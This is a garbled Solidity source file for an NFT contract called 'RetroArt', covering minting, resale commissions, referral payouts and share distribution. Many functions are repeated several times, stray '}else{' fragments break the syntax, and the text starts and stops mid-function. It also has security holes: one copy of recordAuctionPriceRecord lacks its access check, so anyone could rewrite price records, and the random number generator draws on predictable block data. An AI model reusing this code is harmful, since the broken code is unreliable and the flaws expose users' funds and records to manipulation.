block.timestamp); initialPriceRecords[_tokenId] = pr; lastPriceRecords[_tokenId] = pr; emit AssetAcquired(_purchaser,_tokenId, _title, _value); emit TokenBrought(address(0), _purchaser, _tokenId, _value); emit MintPriceChanged(currentPrice); } function CalculateNextPrice() public view returns (uint256){ return currentPrice + currentPrice * slowDownRate / ( priceRate * (allTokens.length + 2)); } function tokensOf(address _owner) public view returns (uint256[] memory){ return ownedTokens[_owner]; } function _buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress, address _depositTo) internal { require(currentTokenPrices[_tokenId] != 0); require(msg.value >= currentTokenPrices[_tokenId]); tokenApprovals[_tokenId] = _to; safeTransferFrom(_from,_to,_tokenId); uint256 valueTransferToOwner = msg.value; uint256 lastRecordPrice = lastPriceRecords[_tokenId].price; if (msg.value > lastRecordPrice){ uint256 profit = msg.value - lastRecordPrice; uint256 commission = profit * profitCommission / 10000; valueTransferToOwner = msg.value - commission; if (referralAddress != address(0)){ _deposit(referralAddress, commission * referralCommission / 10000, 5); } } if (valueTransferToOwner > 0) _deposit(_depositTo, valueTransferToOwner, 1); writePriceRecordForAssetSold(_depositTo, msg.sender, _tokenId, msg.value); } function buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress) public payable { _buyTokenFromWithReferral(_from, _to, _tokenId, referralAddress, _from); } function buyTokenFrom(address _from, address _to, uint256 _tokenId) public payable { buyTokenFromWithReferral(_from, _to, _tokenId, address(0)); } function writePriceRecordForAssetSold(address _from, address _to, uint256 _tokenId, uint256 _value) internal { RecordKeeping.priceRecord memory pr = RecordKeeping.priceRecord(_value, _to, block.timestamp); lastPriceRecords[_tokenId] = pr; tokenApprovals[_tokenId] = address(0); currentTokenPrices[_tokenId] = 0; emit TokenBrought(_from, _to, _tokenId, _value); } function recordAuctionPriceRecord(address _from, address _to, uint256 _tokenId, uint256 _value) external { require(findAuctionContractIndex(msg.sender) >= 0); //make sure the sender is from one of the auction addresses writePriceRecordForAssetSold(_from, _to, _tokenId, _value); } function setTokenPrice(uint256 _tokenId, uint256 _newPrice) public { require(isApprovedOrOwner(msg.sender, _tokenId)); currentTokenPrices[_tokenId] = _newPrice; emit TokenPriceSet(_tokenId, _newPrice); } function getTokenPrice(uint256 _tokenId) public view returns(uint256) { return currentTokenPrices[_tokenId]; } function random(uint num) private view returns (uint[] memory) { uint base = uint(keccak256(abi.encodePacked(block.difficulty, now, tokenOwner[allTokens[allTokens.length-1]]))); uint[] memory randomNumbers = new uint[](num); for (uint i = 0; i<num; i++) { randomNumbers[i] = base; base = base * 2 ** 3; } return randomNumbers; } function getAsset(uint256 _tokenId) external view returns ( string memory title, address owner, address creator, uint256 currentTokenPrice, uint256 lastPrice, uint256 initialPrice, uint256 lastDate, uint256 createdDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory lastPriceRecord = lastPriceRecords[_tokenId]; RecordKeeping.priceRecord memory initialPriceRecord = initialPriceRecords[_tokenId]; return ( tokenTitles[_tokenId], tokenOwner[_tokenId], initialPriceRecord.owner, currentTokenPrices[_tokenId], lastPriceRecord.price, initialPriceRecord.price, lastPriceRecord.timestamp, initialPriceRecord.timestamp ); } function getAssetUpdatedInfo(uint256 _tokenId) external view returns ( address owner, address approvedAddress, uint256 currentTokenPrice, uint256 lastPrice, uint256 lastDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory lastPriceRecord = lastPriceRecords[_tokenId]; return ( tokenOwner[_tokenId], tokenApprovals[_tokenId], currentTokenPrices[_tokenId], lastPriceRecord.price, lastPriceRecord.timestamp ); } function getAssetStaticInfo(uint256 _tokenId) external view returns ( string memory title, string memory tokenURI, address creator, uint256 initialPrice, uint256 createdDate ) { require(exists(_tokenId)); RecordKeeping.priceRecord memory initialPriceRecord = initialPriceRecords[_tokenId]; return ( tokenTitles[_tokenId], tokenURIs[_tokenId], initialPriceRecord.owner, initialPriceRecord.price, initialPriceRecord.timestamp ); } function burnExchangeToken(address _tokenOwner, uint256 _tokenId) external { require(msg.sender == stemTokenContractAddress); _burn(_tokenOwner, _tokenId); emit Burn(_tokenOwner, _tokenId); } function findAuctionContractIndex(address _addressToFind) public view returns (int) { for (int i = 0; i < int(auctionContractAddresses.length); i++){ if (auctionContractAddresses[uint256(i)] == _addressToFind){ return i; } } return -1; } function addAuctionContractAddress(address _auctionContractAddress) public onlyOwner { require(findAuctionContractIndex(_auctionContractAddress) == -1); auctionContractAddresses.push(_auctionContractAddress); } function removeAuctionContractAddress(address _auctionContractAddress) public onlyOwner { int index = findAuctionContractIndex(_auctionContractAddress); require(index >= 0); for (uint i = uint(index); i < auctionContractAddresses.length-1; i++){ auctionContractAddresses[i] = auctionContractAddresses[i+1]; } auctionContractAddresses.length--; } function setStemTokenContractAddress(address _stemTokenContractAddress) public onlyOwner { stemTokenContractAddress = _stemTokenContractAddress; } function tokenURI(uint256 _tokenId) public view returns (string memory) { require(exists(_tokenId)); return string(abi.encodePacked(uriPrefix, uint256ToString(_tokenId))); } // Functions used for generating the URI function amountOfZeros(uint256 num, uint256 base) public pure returns(uint256){ uint256 result = 0; num /= base; while (num > 0){ num /= base; result += 1; } return result; } function uint256ToString(uint256 num) public pure returns(string memory){ if (num == 0){ return "0"; } uint256 numLen = amountOfZeros(num, 10) + 1; bytes memory result = new bytes(numLen); while(num != 0){ numLen -= 1; result[numLen] = byte(uint8((num - (num / 10 * 10)) + 48)); num /= 10; } return string(result); } }
new asset price increase at the rate that determined by the variable belowit is caculated from the current price + (current price / ( price rate * totalTokens / slowDownRate ))Commission will be charged if a profit is madeCommission is the pure profit / profit Commission measured in basis points (1/100 of a percent) Values 0-10,000 map to 0%-100%the referral percentage of the commission of selling of aset measured in basis points (1/100 of a percent) Values 0-10,000 map to 0%-100%share will be given to all tokens equally if a new asset is acquired.the amount of total shared value is assetValue/sharePercentage measured in basis points (1/100 of a percent) Values 0-10,000 map to 0%-100%number of shares for acquiring new asset. Mapping from owner to list of owned token IDs
contract RetroArt is ERC721Token, Ownable, Withdrawable, ERC721WithState { address public stemTokenContractAddress; uint256 public currentPrice; uint256 constant initiailPrice = 0.03 ether; uint public priceRate = 10; uint public slowDownRate = 7; uint public profitCommission = 500; uint public referralCommission = 3000; uint public sharePercentage = 3000; uint public numberOfShares = 10; string public uriPrefix =""; mapping (uint256 => string) internal tokenTitles; mapping (uint256 => RecordKeeping.priceRecord) internal initialPriceRecords; mapping (uint256 => RecordKeeping.priceRecord) internal lastPriceRecords; mapping (uint256 => uint256) internal currentTokenPrices; event AssetAcquired(address indexed _owner, uint256 indexed _tokenId, string _title, uint256 _price); event TokenPriceSet(uint256 indexed _tokenId, uint256 _price); event TokenBrought(address indexed _from, address indexed _to, uint256 indexed _tokenId, uint256 _price); event PriceRateChanged(uint _priceRate); event SlowDownRateChanged(uint _slowDownRate); event ProfitCommissionChanged(uint _profitCommission); event MintPriceChanged(uint256 _price); event SharePercentageChanged(uint _sharePercentage); event NumberOfSharesChanged(uint _numberOfShares); event ReferralCommissionChanged(uint _referralCommission); event Burn(address indexed _owner, uint256 _tokenId); bytes4 private constant InterfaceId_RetroArt = 0x94fb30be; bytes4(keccak256("buyTokenFrom(address,address,uint256)"))^ bytes4(keccak256("setTokenPrice(uint256,uint256)"))^ bytes4(keccak256("setTokenState(uint256,uint8)"))^ bytes4(keccak256("getTokenState(uint256)")); address[] internal auctionContractAddresses; function tokenTitle(uint256 _tokenId) public view returns (string memory) { require(exists(_tokenId)); return tokenTitles[_tokenId]; } function lastPriceOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return lastPriceRecords[_tokenId].price; } function lastTransactionTimeOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return lastPriceRecords[_tokenId].timestamp; } function firstPriceOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].price; } function creatorOf(uint256 _tokenId) public view returns (address) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].owner; } function firstTransactionTimeOf(uint256 _tokenId) public view returns (uint256) { require(exists(_tokenId)); return initialPriceRecords[_tokenId].timestamp; } function lastHistoryOf(uint256 _tokenId) internal view returns (RecordKeeping.priceRecord storage) { require(exists(_tokenId)); return lastPriceRecords[_tokenId]; } function firstHistoryOf(uint256 _tokenId) internal view returns (RecordKeeping.priceRecord storage) { require(exists(_tokenId)); return initialPriceRecords[_tokenId]; } function setPriceRate(uint _priceRate) public onlyOwner { priceRate = _priceRate; emit PriceRateChanged(priceRate); } function setSlowDownRate(uint _slowDownRate) public onlyOwner { slowDownRate = _slowDownRate; emit SlowDownRateChanged(slowDownRate); } function setprofitCommission(uint _profitCommission) public onlyOwner { require(_profitCommission <= 10000); profitCommission = _profitCommission; emit ProfitCommissionChanged(profitCommission); } function setSharePercentage(uint _sharePercentage) public onlyOwner { require(_sharePercentage <= 10000); sharePercentage = _sharePercentage; emit SharePercentageChanged(sharePercentage); } function setNumberOfShares(uint _numberOfShares) public onlyOwner { numberOfShares = _numberOfShares; emit NumberOfSharesChanged(numberOfShares); } function setReferralCommission(uint _referralCommission) public onlyOwner { require(_referralCommission <= 10000); referralCommission = _referralCommission; emit ReferralCommissionChanged(referralCommission); } function setUriPrefix(string memory _uri) public onlyOwner { uriPrefix = _uri; } constructor(string memory _name, string memory _symbol , address _stemTokenAddress) ERC721Token(_name, _symbol) Ownable() public { currentPrice = initiailPrice; stemTokenContractAddress = _stemTokenAddress; _registerInterface(InterfaceId_RetroArt); } function getAllAssets() public view returns (uint256[] memory){ return allTokens; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAllAssetsForSale() public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsForSale(address _owner) public view returns (uint256[] memory) { uint arrayLength = allTokens.length; uint forSaleCount = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { forSaleCount++; } } uint256[] memory tokensForSale = new uint256[](forSaleCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (currentTokenPrices[allTokens[i]] > 0 && tokenOwner[allTokens[i]] == _owner) { tokensForSale[j] = allTokens[i]; j++; } } return tokensForSale; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function getAssetsByState(uint8 _state) public view returns (uint256[] memory){ uint arrayLength = allTokens.length; uint matchCount = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchCount++; } } uint256[] memory matchedTokens = new uint256[](matchCount); uint j = 0; for (uint i = 0; i<arrayLength; i++) { if (tokenState[allTokens[i]] == _state) { matchedTokens[j] = allTokens[i]; j++; } } return matchedTokens; } function acquireAsset(uint256 _tokenId, string memory _title) public payable{ acquireAssetWithReferral(_tokenId, _title, address(0)); } function acquireAssetFromStemToken(address _tokenOwner, uint256 _tokenId, string calldata _title) external { require(msg.sender == stemTokenContractAddress); _acquireAsset(_tokenId, _title, _tokenOwner, 0); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } }else{ }else{ function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } function acquireAssetWithReferral(uint256 _tokenId, string memory _title, address referralAddress) public payable{ require(msg.value >= currentPrice); uint totalShares = numberOfShares; if (referralAddress != address(0)) totalShares++; uint numberOfTokens = allTokens.length; if (numberOfTokens > 0 && sharePercentage > 0) { uint256 perShareValue = 0; uint256 totalShareValue = msg.value * sharePercentage / 10000 ; if (totalShares > numberOfTokens) { if (referralAddress != address(0)) perShareValue = totalShareValue / (numberOfTokens + 1); else perShareValue = totalShareValue / numberOfTokens; for (uint i = 0; i < numberOfTokens; i++) { if (numberOfTokens > 100) { _depositWithoutEvent(tokenOwner[allTokens[i]], perShareValue); _deposit(tokenOwner[allTokens[i]], perShareValue, 2); } } if (referralAddress != address(0)) perShareValue = totalShareValue / (totalShares + 1); else perShareValue = totalShareValue / totalShares; uint[] memory randomArray = random(numberOfShares); for (uint i = 0; i < numberOfShares; i++) { uint index = randomArray[i] % numberOfTokens; if (numberOfShares > 100) { _depositWithoutEvent(tokenOwner[allTokens[index]], perShareValue); _deposit(tokenOwner[allTokens[index]], perShareValue, 2); } } } if (referralAddress != address(0) && perShareValue > 0) _deposit(referralAddress, perShareValue, 5); } _acquireAsset(_tokenId, _title, msg.sender, msg.value); } }else{ function _acquireAsset(uint256 _tokenId, string memory _title, address _purchaser, uint256 _value) internal { currentPrice = CalculateNextPrice(); _mint(_purchaser, _tokenId); tokenTitles[_tokenId] = _title; RecordKeeping.priceRecord memory pr = RecordKeeping.priceRecord(_value, _purchaser, block.timestamp); initialPriceRecords[_tokenId] = pr; lastPriceRecords[_tokenId] = pr; emit AssetAcquired(_purchaser,_tokenId, _title, _value); emit TokenBrought(address(0), _purchaser, _tokenId, _value); emit MintPriceChanged(currentPrice); } function CalculateNextPrice() public view returns (uint256){ return currentPrice + currentPrice * slowDownRate / ( priceRate * (allTokens.length + 2)); } function tokensOf(address _owner) public view returns (uint256[] memory){ return ownedTokens[_owner]; } function _buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress, address _depositTo) internal { require(currentTokenPrices[_tokenId] != 0); require(msg.value >= currentTokenPrices[_tokenId]); tokenApprovals[_tokenId] = _to; safeTransferFrom(_from,_to,_tokenId); uint256 valueTransferToOwner = msg.value; uint256 lastRecordPrice = lastPriceRecords[_tokenId].price; if (msg.value > lastRecordPrice){ uint256 profit = msg.value - lastRecordPrice; uint256 commission = profit * profitCommission / 10000; valueTransferToOwner = msg.value - commission; if (referralAddress != address(0)){ _deposit(referralAddress, commission * referralCommission / 10000, 5); } } if (valueTransferToOwner > 0) _deposit(_depositTo, valueTransferToOwner, 1); writePriceRecordForAssetSold(_depositTo, msg.sender, _tokenId, msg.value); } function _buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress, address _depositTo) internal { require(currentTokenPrices[_tokenId] != 0); require(msg.value >= currentTokenPrices[_tokenId]); tokenApprovals[_tokenId] = _to; safeTransferFrom(_from,_to,_tokenId); uint256 valueTransferToOwner = msg.value; uint256 lastRecordPrice = lastPriceRecords[_tokenId].price; if (msg.value > lastRecordPrice){ uint256 profit = msg.value - lastRecordPrice; uint256 commission = profit * profitCommission / 10000; valueTransferToOwner = msg.value - commission; if (referralAddress != address(0)){ _deposit(referralAddress, commission * referralCommission / 10000, 5); } } if (valueTransferToOwner > 0) _deposit(_depositTo, valueTransferToOwner, 1); writePriceRecordForAssetSold(_depositTo, msg.sender, _tokenId, msg.value); } function _buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress, address _depositTo) internal { require(currentTokenPrices[_tokenId] != 0); require(msg.value >= currentTokenPrices[_tokenId]); tokenApprovals[_tokenId] = _to; safeTransferFrom(_from,_to,_tokenId); uint256 valueTransferToOwner = msg.value; uint256 lastRecordPrice = lastPriceRecords[_tokenId].price; if (msg.value > lastRecordPrice){ uint256 profit = msg.value - lastRecordPrice; uint256 commission = profit * profitCommission / 10000; valueTransferToOwner = msg.value - commission; if (referralAddress != address(0)){ _deposit(referralAddress, commission * referralCommission / 10000, 5); } } if (valueTransferToOwner > 0) _deposit(_depositTo, valueTransferToOwner, 1); writePriceRecordForAssetSold(_depositTo, msg.sender, _tokenId, msg.value); } function buyTokenFromWithReferral(address _from, address _to, uint256 _tokenId, address referralAddress) public payable { _buyTokenFromWithReferral(_from, _to, _tokenId, referralAddress, _from); } function buyTokenFrom(address _from, address _to, uint256 _tokenId) public payable { buyTokenFromWithReferral(_from, _to, _tokenId, address(0)); } function writePriceRecordForAssetSold(address _from, address _to, uint256 _tokenId, uint256 _value) internal { RecordKeeping.priceRecord memory pr = RecordKeeping.priceRecord(_value, _to, block.timestamp); lastPriceRecords[_tokenId] = pr; tokenApprovals[_tokenId] = address(0); currentTokenPrices[_tokenId] = 0; emit TokenBrought(_from, _to, _tokenId, _value); } function recordAuctionPriceRecord(address _from, address _to, uint256 _tokenId, uint256 _value) external { writePriceRecordForAssetSold(_from, _to, _tokenId, _value); } function setTokenPrice(uint256 _tokenId, uint256 _newPrice) public { require(isApprovedOrOwner(msg.sender, _tokenId)); currentTokenPrices[_tokenId] = _newPrice; emit TokenPriceSet(_tokenId, _newPrice); } function getTokenPrice(uint256 _tokenId) public view returns(uint256) { return currentTokenPrices[_tokenId]; } function random(uint num) private view returns (uint[] memory) { uint base = uint(keccak256(abi.encodePacked(block.difficulty, now, tokenOwner[allTokens[allTokens.length-1]]))); uint[] memory randomNumbers = new uint[](num); for (uint i = 0; i<num; i++) { randomNumbers[i] = base; base = base * 2 ** 3; } return randomNumbers; } function random(uint num) private view returns (uint[] memory) { uint base = uint(keccak256(abi.encodePacked(block.difficulty, now, tokenOwner[allTokens[allTokens.length-1]]))); uint[] memory randomNumbers = new uint[](num); for (uint i 